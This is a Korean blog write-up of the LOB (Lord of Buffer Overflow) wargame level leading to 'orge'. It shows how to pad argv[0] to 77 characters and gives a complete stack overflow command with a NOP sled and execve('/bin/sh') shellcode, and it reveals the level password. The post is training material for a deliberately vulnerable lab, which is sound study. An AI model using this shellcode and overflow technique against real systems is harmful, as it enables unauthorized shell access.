문제 풀이에 대한 자세한 설명은 이전 문제들에 모두 되어있으므로 생략한다.




문제 소스 코드이다.

이번 문제에서는 argv[0]의 길이를 체크한다. 


argv[0]은 우리가 쉘에서 프로그램을 실행할 때 입력한 명령어가 입력된다.

예를 들면 ./orge, /tmp/dirorge/orge, ~/orge 등이 있다. 이 문자열의 길이를 77자로 맞춰주면 된다.



mkdir /tmp/dirorge

cd /tmp/dirorge

cp ~/orge .

`python -c 'print "."+"/"*72+"orge"'` a


argv[0]을 체크하는 조건문이 통과되는 지 체크하기 위해 다음을 입력해본다.

사진 중 파란 점으로 표시한 부분들만 보면 된다.

python을 통해 .////////orge 형식으로 명령어를 입력하였다.(/는 72개. .과 orge와 합쳐 77 글자가 되기 위하여)

a는 argc를 체크하는 인자를 통과하기 위해 입력해주었다.

stack is still your friend.가 출력된다면, argv[0]이 77 글자라는 것이다.

이제 쉘코드로 넘어가보자.


`python -c 'print "."+"/"*72+"orge"'` `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf "+"\x90"*10000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50

\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


argv[2]에 nop+shellcode를 입력해주었다.

seg fault를 확인할 수 있고, gdb로 core를 확인해보자.




RET 영역을 nop 영역 중 한 곳의 주소로 입력하고 exploit을 시도했더니 성공한 것을 확인할 수 있다.

심볼릭 링크와 함께 exploit을 시도하여 패스워드를 확인할 수  있다.

orge의 패스워드는 timewalker



'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB troll -> vampire  (0) 2015.11.13
LOB orge -> troll  (0) 2015.11.13
LOB wolfman -> darkelf  (0) 2015.11.13
LOB orc -> wolfman  (0) 2015.11.13
LOB goblin -> orc  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/